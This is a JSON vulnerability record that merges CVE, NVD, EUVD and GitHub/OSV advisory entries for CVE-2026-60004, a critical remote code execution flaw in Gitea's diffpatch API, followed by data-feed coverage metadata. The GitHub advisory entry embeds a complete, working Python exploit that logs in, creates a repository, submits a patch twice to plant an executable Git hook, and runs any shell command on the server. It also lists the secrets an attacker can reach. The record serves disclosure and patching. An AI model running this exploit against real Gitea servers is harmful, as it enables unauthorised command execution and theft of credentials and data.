{"id":"BIT-gitea-2026-60004","revision":null,"records":[{"revision":"e731dc506b6a4b1ca7f503a8a6ed3673","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-60004","aliases":[],"title":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","description":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","state":0,"publishedAt":"2026-08-26T19:45:00+00:00","modifiedAt":"2026-09-08T18:03:21.873+00:00","affected":[{"ecosystem":"Vendor product","name":"Gitea","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"defaultStatus\": \"unaffected\",\n                    \"product\": \"Gitea\",\n                    \"vendor\": \"Gitea\",\n                    \"versions\": [\n                        {\n                            \"lessThan\": \"1.27.1\",\n                            \"status\": \"affected\",\n                            \"version\": \"1.17\",\n                            \"versionType\": \"custom\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://blog.gitea.com/release-of-1.27.1/","https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m","https://www.runzero.com/blog/gitea/","https://github.com/0xBlackash/CVE-2026-60004"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-60004","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-60004","identifiers":["CVE-2026-60004"]},"retained":false,"historicalAffected":[]},{"revision":"73b1fb77fe2e4be3a293ccbd674e3a5f","observedAt":"2026-11-13T16:03:30.063+00:00","statement":{"source":"euvd","id":"EUVD-2026-66708","aliases":["CVE-2026-60004","GHSA-rcr6-4jqh-j84m"],"title":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","description":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":null}],"references":["https://blog.gitea.com/release-of-1.27.1/","https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m","https://www.runzero.com/blog/gitea/","https://github.com/0xBlackash/CVE-2026-60004"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-66708","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Aug 26, 2026, 7:45:00 PM","dateUpdated":"Sep 8, 2026, 6:03:21 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-66708","identifiers":["EUVD-2026-66708","CVE-2026-60004","GHSA-rcr6-4jqh-j84m"]},"retained":false,"historicalAffected":[]},{"revision":"9873394a76ac48379326957581308aae","observedAt":"2026-10-25T14:19:22.811+00:00","statement":{"source":"nvd","id":"CVE-2026-60004","aliases":[],"title":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","description":"Gitea before 1.27.1 allows remote code execution via the diffpatch API through Git hook installation.","state":0,"publishedAt":"2026-08-26T20:17:56.01+00:00","modifiedAt":"2026-08-27T11:41:19.23+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · cve@mitre.org · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":9.8,"severity":"CRITICAL"}],"references":["https://blog.gitea.com/release-of-1.27.1/","https://github.com/0xBlackash/CVE-2026-60004","https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m","https://www.runzero.com/blog/gitea/","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-60004","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-94"],"productCriteria":["cpe:2.3:a:gitea:gitea:*:*:*:*:*:-:*:*"],"sourceDates":{"published":"2026-08-26T20:17:56.010","lastModified":"2026-08-27T11:41:19.230"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-60004","identifiers":["CVE-2026-60004"]},"retained":false,"historicalAffected":[]},{"revision":"d8f01f2697fa485db0f71aa69c1c99d2","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-rcr6-4jqh-j84m","aliases":["BIT-gitea-2026-60004","CVE-2026-60004","GO-2026-6433"],"title":"Gitea: Remote Code Execution via diffpatch Git Hook Installation","description":"### Summary\n\nGitea's `diffpatch` endpoint can be abused to install and execute a Git hook from repository-controlled content.\n\nAn attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.\n\n### Details\n\n`services/repository/files/patch.go` applies attacker-controlled patches in a shared bare temporary clone:\n\n```go\ncmdApply := gitcmd.NewCommand(\"apply\", \"--index\", \"--recount\", \"--cached\", \"--binary\")\nif git.DefaultFeatures().CheckVersionAtLeast(\"2.32\") {\n    cmdApply.AddArguments(\"-3\")\n}\n````\n\nSubmitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with `--cached`.\n\nIn a bare clone, the repository root is `$GIT_DIR`. As a result, an executable entry named:\n\n```text\nhooks/post-index-change\n```\n\nbecomes a live Git hook.\n\nGit invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.\n\nThe hook's return value is not propagated to the `diffpatch` response.\n\nThe attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.\n\n### PoC\n\nThe supplied `gitea_diffpatch_rce_poc.py` uses an existing Gitea account. Run it against a test instance where the account can create a repository.\n\nSet the account password:\n\n```bash\nexport GITEA_PASSWORD='account-password'\n```\n\nExecute a command through the `diffpatch` chain:\n\n```bash\npython3 ./gitea_diffpatch_rce_poc.py \\\n  https://gitea.example \\\n  pocuser \\\n  'id; uname -srm; pwd'\n```\n\nThe script:\n\n* Creates an initialized private repository.\n* Submits the same executable-hook patch twice.\n* Fetches the result branch.\n* Prints the command's combined stdout, stderr, and exit status.\n* Prints the evidence repository, ref, and commit IDs to stderr.\n\nExpected output resembles:\n\n```text\nuid=1000(git) gid=1000(git) groups=1000(git)\nLinux ...\n/data/gitea/tmp/...\n\n[exit-status=0]\n```\n\nThe trigger requires:\n\n* Git 2.32 or newer.\n* An enabled `diffpatch` route.\n* A writable and executable temporary filesystem.\n\nOpen registration is required only for the no-prior-credentials attack path.\n\n### Impact\n\nThis is remote command execution as the Gitea service account (`CWE-94`).\n\nDepending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:\n\n* `app.ini` and Gitea application secrets.\n* Process environment secrets.\n* Mounted repositories.\n* Database credentials and database contents.\n* OAuth and integration credentials.\n* Other internal or externally reachable services.\n\nWith open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.\n\n\n<img width=\"928\" height=\"687\" alt=\"Screenshot 2026-07-25 at 14 45 44\" src=\"https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c\" />\n\n\n\n\n```python\n#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nGitea RCE PoC – authorized testing only.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport base64\nimport getpass\nimport hashlib\nimport json\nimport os\nfrom pathlib import Path\n\nimport secrets\nimport shlex\nimport shutil\nimport subprocess\nimport sys\nimport tempfile\n\nfrom typing import Any\nimport urllib.error\nimport urllib.parse\nimport urllib.request\n\n\nTIMEOUT    = 30.0\nUSER_AGENT = \"gitea-rce-poc/2.0\"\n\n_RST  = \"\\033[0m\"\n_DIM  = \"\\033[2m\"\n_GRN  = \"\\033[38;5;46m\"     # bright green\n_RED  = \"\\033[31m\"           # red for errors\n\ndef _g(t: str) -> str: return f\"{_GRN}{t}{_RST}\"\ndef _r(t: str) -> str: return f\"{_RED}{t}{_RST}\"\ndef _d(t: str) -> str: return f\"{_DIM}{t}{_RST}\"\n\ndef log_star(msg: str) -> None: print(f\"{_g('[*]')} {_d(msg)}\")\ndef log_ok  (msg: str) -> None: print(f\"{_g('[+]')} {_g(msg)}\")\ndef log_err (msg: str) -> None: print(f\"{_r('[-]')} {_r(msg)}\")\n\n\n_SEP = \"  \" + \"═\" * 44\nBANNER = f\"{_SEP}\\n  GITEA  REMOTE CODE EXECUTION  POC\\n{_SEP}\"\n\ndef print_banner(url: str, version: str | None = None,\n                 command: str | None = None) -> None:\n    print()\n    for line in BANNER.splitlines():\n        print(_g(line))\n    print()\n    ver = version or \"unknown\"\n    print(_g(\"  \" + \"-\" * 54))\n    print(_g(f\"  Target        : {url}\"))\n    print(_g(f\"  Version       : {ver}\"))\n    if command:\n        print(_g(f\"  Command       : {command}\"))\n    print(_g(\"  \" + \"-\" * 54))\n    print()\n\nclass PocError(RuntimeError):\n    pass\n\nclass GiteaClient:\n    def __init__(self, base_url: str, username: str, password: str) -> None:\n        parsed = urllib.parse.urlsplit(base_url)\n        if parsed.scheme not in {\"http\", \"https\"} or not parsed.netloc:\n            raise PocError(\"URL must be an absolute http:// or https:// URL\")\n        if parsed.query or parsed.fragment:\n            raise PocError(\"URL must not contain a query string or fragment\")\n        self.base_url = base_url.rstrip(\"/\")\n        self.username = username\n        self.password = password\n        encoded = base64.b64encode(\n            f\"{username}:{password}\".encode()\n        ).decode(\"ascii\")\n        self.authorization = f\"Basic {encoded}\"\n\n    def api(\n        self,\n        method: str,\n        path: str,\n        payload: dict[str, Any] | None = None,\n    ) -> tuple[int, Any]:\n        data = None\n        if payload is not None:\n            data = json.dumps(payload, separators=(\",\", \":\")).encode()\n        req = urllib.request.Request(\n            self.base_url + path,\n            data=data,\n            method=method,\n            headers={\n                \"Accept\": \"application/json\",\n                \"Authorization\": self.authorization,\n                \"Content-Type\": \"application/json\",\n                \"User-Agent\": USER_AGENT,\n            },\n        )\n        try:\n            with urllib.request.urlopen(req, timeout=TIMEOUT) as r:\n                raw = r.read()\n                return r.status, json.loads(raw) if raw else None\n        except urllib.error.HTTPError as exc:\n            body = exc.read().decode(\"utf-8\", errors=\"replace\")[:2_000]\n            raise PocError(f\"{method} {path} → HTTP {exc.code}: {body}\") from exc\n        except urllib.error.URLError as exc:\n            raise PocError(f\"{method} {path} failed: {exc.reason}\") from exc\n        except json.JSONDecodeError:\n            raise PocError(f\"{method} {path} returned invalid JSON\")\n\ndef blob_oid(content: bytes) -> str:\n    return hashlib.sha1(\n        f\"blob {len(content)}\\0\".encode(\"ascii\") + content\n    ).hexdigest()\n\ndef build_hook(command: str, leak_ref: str) -> bytes:\n    qcmd = shlex.quote(command)\n    qref = shlex.quote(f\"refs/heads/{leak_ref}\")\n    return (\n        \"#!/bin/sh\\n\"\n        'git_dir=$(git rev-parse --absolute-git-dir) || exit 1\\n'\n        'origin_objects=$(sed -n \"1p\" \"$git_dir/objects/info/alternates\") || exit 2\\n'\n        'case \"$origin_objects\" in\\n'\n        '  /*) ;;\\n'\n        '  *) origin_objects=\"$git_dir/objects/$origin_objects\" ;;\\n'\n        \"esac\\n\"\n        'origin_git=${origin_objects%/objects}\\n'\n        '[ \"$origin_git\" != \"$origin_objects\" ] || exit 3\\n'\n        f\"output_blob=$({{ /bin/sh -c {qcmd}; \"\n        'command_status=$?; printf \"\\\\n[exit-status=%s]\\\\n\" \"$command_status\"; } 2>&1 | '\n        'git --git-dir=\"$origin_git\" hash-object -w --stdin) || exit 4\\n'\n        'tree=$(printf \"100644 blob %s\\\\toutput\\\\n\" \"$output_blob\" | '\n        'git --git-dir=\"$origin_git\" mktree) || exit 5\\n'\n        'commit=$(printf \"command output\\\\n\" | '\n        \"GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid \"\n        \"GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid \"\n        'git --git-dir=\"$origin_git\" commit-tree \"$tree\") || exit 6\\n'\n        f'git --git-dir=\"$origin_git\" update-ref {qref} \"$commit\" || exit 7\\n'\n        \"exit 0\\n\"\n    ).encode()\n\ndef build_patch(hook: bytes) -> str:\n    lc  = hook.count(b\"\\n\")\n    hdr = (\n        \"diff --git a/hooks/post-index-change b/hooks/post-index-change\\n\"\n        \"new file mode 100755\\n\"\n        f\"index {'0'*40}..{blob_oid(hook)}\\n\"\n        \"--- /dev/null\\n\"\n        \"+++ b/hooks/post-index-change\\n\"\n        f\"@@ -0,0 +1,{lc} @@\\n\"\n    ).encode()\n    return (hdr + b\"\".join(b\"+\" + l for l in hook.splitlines(keepends=True))).decode()\n\ndef run_git(git: str, arguments: list[str], env: dict[str, str]) -> bytes:\n    try:\n        result = subprocess.run(\n            [git, *arguments], env=env,\n            stdin=subprocess.DEVNULL,\n            stdout=subprocess.PIPE, stderr=subprocess.PIPE,\n            check=False, timeout=TIMEOUT,\n        )\n    except subprocess.TimeoutExpired as exc:\n        raise PocError(f\"git timed out after {TIMEOUT:g}s\") from exc\n    except OSError as exc:\n        raise PocError(f\"could not run git: {exc}\") from exc\n    if result.returncode != 0:\n        err = result.stderr.decode(\"utf-8\", errors=\"replace\")[:2_000].strip()\n        raise PocError(f\"git exit {result.returncode}: {err}\")\n    return result.stdout\n\ndef fetch_output(git: str, client: GiteaClient,\n                 owner: str, repo: str, leak_ref: str) -> bytes:\n    remote = (\n        f\"{client.base_url}/\"\n        f\"{urllib.parse.quote(owner, safe='')}/\"\n        f\"{urllib.parse.quote(repo, safe='')}.git\"\n    )\n    with tempfile.TemporaryDirectory(prefix=\"gitea-poc-\") as tmp:\n        bare      = Path(tmp) / \"fetch.git\"\n        auth_cfg  = Path(tmp) / \"auth.config\"\n        fd = os.open(auth_cfg, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600)\n        with os.fdopen(fd, \"w\", encoding=\"utf-8\") as f:\n            f.write(f\"[http]\\n\\textraHeader = Authorization: {client.authorization}\\n\")\n        env = {**os.environ, \"GIT_TERMINAL_PROMPT\": \"0\"}\n        run_git(git, [\"init\", \"--bare\", \"--quiet\", str(bare)], env)\n        run_git(git, [\n            \"-C\", str(bare), \"-c\", f\"include.path={auth_cfg}\",\n            \"fetch\", \"--quiet\", \"--no-tags\",\n            remote, f\"refs/heads/{leak_ref}\",\n        ], env)\n        return run_git(git, [\"-C\", str(bare), \"show\", \"FETCH_HEAD:output\"], env)\n\ndef split_output(raw: bytes) -> tuple[str, int | None]:\n    text  = raw.decode(\"utf-8\", errors=\"replace\")\n    lines = text.splitlines()\n    status: int | None = None\n    if lines:\n        t = lines[-1].strip()\n        if t.startswith(\"[exit-status=\") and t.endswith(\"]\"):\n            try:    status = int(t[len(\"[exit-status=\"):-1])\n            except ValueError: pass\n            else:   lines.pop()\n    return \"\\n\".join(lines).rstrip(\"\\n\"), status\n\n\ndef parse_args() -> argparse.Namespace:\n    p = argparse.ArgumentParser(description=\"Gitea RCE PoC\")\n    p.add_argument(\"url\",      help=\"Gitea base URL\")\n    p.add_argument(\"username\", help=\"existing Gitea username\")\n    p.add_argument(\"command\",  help=\"shell command to execute on target\")\n    return p.parse_args()\n\n\ndef main() -> int:\n    args = parse_args()\n    if \"\\0\" in args.command:\n        raise PocError(\"command must not contain a NUL character\")\n\n    password = os.environ.get(\"GITEA_PASSWORD\") or getpass.getpass(\n        _g(\"[?]\") + \" password: \"\n    )\n    if not password:\n        raise PocError(\"password must not be empty\")\n\n    git = shutil.which(\"git\")\n    if git is None:\n        raise PocError(\"git executable not found in PATH\")\n\n    client = GiteaClient(args.url, args.username, password)\n\n    # version probe (pre-banner)\n    log_star(\"probing target...\")\n    version: str | None = None\n    try:\n        r = urllib.request.Request(\n            client.base_url + \"/api/v1/version\",\n            headers={\"Accept\": \"application/json\", \"User-Agent\": USER_AGENT},\n        )\n        with urllib.request.urlopen(r, timeout=TIMEOUT) as resp:\n            version = json.loads(resp.read()).get(\"version\", \"unknown\")\n    except Exception:\n        version = \"unknown\"\n    print_banner(client.base_url, version, args.command)\n\n    log_star(f\"target={client.base_url}  user={args.username}  cmd={args.command}\")\n    print()\n\n    # step 1 – authenticate\n    log_star(\"authenticating...\")\n    sc, acct = client.api(\"GET\", \"/api/v1/user\")\n    if sc != 200 or not isinstance(acct, dict):\n        log_err(\"authentication failed\"); raise PocError(\"auth failed\")\n    owner = acct.get(\"login\")\n    if not isinstance(owner, str) or not owner:\n        log_err(\"no login in response\"); raise PocError(\"no login\")\n    log_ok(f\"logged in as {owner}  ({version})\")\n\n    # step 2 – create repo\n    unique   = secrets.token_hex(5)\n    repo     = f\"test-repo-{unique}\"\n    leak_ref = f\"output-{unique}\"\n    log_star(\"creating repository...\")\n    sc, _ = client.api(\"POST\", \"/api/v1/user/repos\", {\n        \"name\": repo, \"private\": True,\n        \"auto_init\": True, \"default_branch\": \"main\",\n        \"object_format_name\": \"sha1\",\n    })\n    if sc != 201:\n        log_err(\"repo creation failed\"); raise PocError(\"repo creation failed\")\n    log_ok(f\"created repo {owner}/{repo}\")\n\n    # steps 3–4 – deliver payloads\n    body = {\n        \"content\": build_patch(build_hook(args.command, leak_ref)),\n        \"message\": \"initial commit\",\n        \"branch\": \"main\", \"new_branch\": \"main\",\n    }\n    ep = (\n        f\"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/\"\n        f\"{urllib.parse.quote(repo, safe='')}/diffpatch\"\n    )\n    commits: list[str] = []\n    for cycle in (1, 2):\n        log_star(f\"delivering payload {cycle}/2...\")\n        sc, resp = client.api(\"POST\", ep, body)\n        try:\n            commit = resp[\"commit\"][\"sha\"]\n        except (KeyError, TypeError) as exc:\n            log_err(f\"payload {cycle}/2 rejected\")\n            raise PocError(f\"cycle {cycle} no commit\") from exc\n        if sc != 201:\n            log_err(f\"payload {cycle}/2 failed\")\n            raise PocError(f\"cycle {cycle} failed\")\n        commits.append(commit)\n        log_ok(f\"payload {cycle}/2 accepted  commit={commit[:16]}\")\n\n    # step 5 – retrieve output\n    log_star(\"retrieving output...\")\n    output = fetch_output(git, client, owner, repo, leak_ref)\n    log_ok(\"operation complete\")\n\n    # command output\n    cmd_out, exit_status = split_output(output)\n    print()\n    log_ok(f\"{args.command}:\")\n    print(_g(\"---\"))\n    if cmd_out:\n        for line in cmd_out.splitlines():\n            print(_g(line))\n    else:\n        print(_d(\"<no output>\"))\n    print(_g(\"---\"))\n    if exit_status == 0:\n        log_ok(f\"exit status: {exit_status}\")\n    elif exit_status is None:\n        log_star(\"exit status: unknown\")\n    else:\n        log_err(f\"exit status: {exit_status}\")\n\n    return 0\n\n\nif __name__ == \"__main__\":\n    try:\n        raise SystemExit(main())\n    except PocError as exc:\n        log_err(str(exc))\n        raise SystemExit(1) from None\n\n```","state":0,"publishedAt":"2026-09-08T17:56:30+00:00","modifiedAt":"2026-09-10T15:25:46.3855435+00:00","affected":[{"ecosystem":"Go","name":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.17.0"},{"kind":"fixed","version":"1.27.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m","https://nvd.nist.gov/vuln/detail/CVE-2026-60004","https://github.com/go-gitea/gitea/pull/38637","https://github.com/go-gitea/gitea/pull/38638","https://github.com/go-gitea/gitea/commit/470d34b1de87d901bd9135564d5ee18c0d339e82","https://github.com/go-gitea/gitea/commit/d7bc52beeadff4be5f5690de4d5de42abd10affe","https://blog.gitea.com/release-of-1.27.1","https://github.com/0xBlackash/CVE-2026-60004","https://github.com/go-gitea/gitea","https://github.com/go-gitea/gitea/releases/tag/v1.27.1","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004","https://www.runzero.com/blog/gitea"],"sourceUrl":"https://github.com/advisories/GHSA-rcr6-4jqh-j84m","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-rcr6-4jqh-j84m","identifiers":["GHSA-rcr6-4jqh-j84m","BIT-gitea-2026-60004","CVE-2026-60004","GO-2026-6433"]},"retained":false,"historicalAffected":[]},{"revision":"ac8e219c5adc45cf97ea3589b8808d40","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6433","aliases":["BIT-gitea-2026-60004","CVE-2026-60004","GHSA-rcr6-4jqh-j84m"],"title":"Gitea: Remote Code Execution via diffpatch Git Hook Installation in gitea.dev","description":"Gitea: Remote Code Execution via diffpatch Git Hook Installation in gitea.dev","state":0,"publishedAt":"2026-09-10T14:48:42+00:00","modifiedAt":"2026-09-10T15:25:46.3855435+00:00","affected":[{"ecosystem":"Go","name":"code.gitea.io/gitea","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"1.17.0"}]}],"versions":[],"rawVersionEvidence":null},{"ecosystem":"Go","name":"gitea.dev","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.27.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/go-gitea/gitea/security/advisories/GHSA-rcr6-4jqh-j84m","https://nvd.nist.gov/vuln/detail/CVE-2026-60004","https://blog.gitea.com/release-of-1.27.1","https://github.com/0xBlackash/CVE-2026-60004","https://github.com/go-gitea/gitea/commit/470d34b1de87d901bd9135564d5ee18c0d339e82","https://github.com/go-gitea/gitea/commit/d7bc52beeadff4be5f5690de4d5de42abd10affe","https://github.com/go-gitea/gitea/pull/38637","https://github.com/go-gitea/gitea/pull/38638","https://github.com/go-gitea/gitea/releases/tag/v1.27.1","https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-60004","https://www.runzero.com/blog/gitea"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6433","license":"OSV · upstream source license applies","key":"osv:GO-2026-6433","identifiers":["GO-2026-6433","BIT-gitea-2026-60004","CVE-2026-60004","GHSA-rcr6-4jqh-j84m"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T14:00:58.8747033+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T14:00:58.8747033+00:00","lastSuccessAt":"2026-11-15T14:00:59.0227358+00:00","error":null,"lastVerifiedAt":"2026-11-15T14:00:59.0227405+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-e0d3f110789655b29baffcc6dfd284a37d48c3c85e8fdf69001ce2a2553683cc","complete":true,"records":425795,"lastAttemptAt":"2026-11-15T14:00:58.2568227+00:00","lastSuccessAt":"2026-11-15T14:00:58.2484273+00:00","error":null,"lastVerifiedAt":"2026-11-15T14:00:58.2568227+00:00","snapshotPublishedAt":"2026-11-15T13:17:58+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-541084f178a24fad8fc54152c649da70","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T14:09:56.8311833+00:00","lastSuccessAt":"2026-11-15T14:09:55.813+00:00","error":"58 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T14:09:55.813+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13607,"expectedIdentifiers":13874,"failedIdentifiers":58},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T14:00:58.8747033+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T14:00:58.8747033+00:00","lastSuccessAt":"2026-11-15T14:00:59.0237887+00:00","error":null,"lastVerifiedAt":"2026-11-15T14:00:59.0237894+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c167466b61b34733b7aedb2becc5e769","complete":true,"records":13833,"lastAttemptAt":"2026-11-15T14:01:07.9073093+00:00","lastSuccessAt":"2026-11-15T14:01:07.902+00:00","error":null,"lastVerifiedAt":"2026-11-15T14:01:07.902+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13874,"expectedIdentifiers":13874,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T14:00:58.6576445+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T14:00:58.6576445+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T14:00:58.434525+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T14:00:58.434525+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T14:00:58.7667639+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T14:00:58.7667639+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T14:00:58.5538131+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T14:00:58.5538131+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}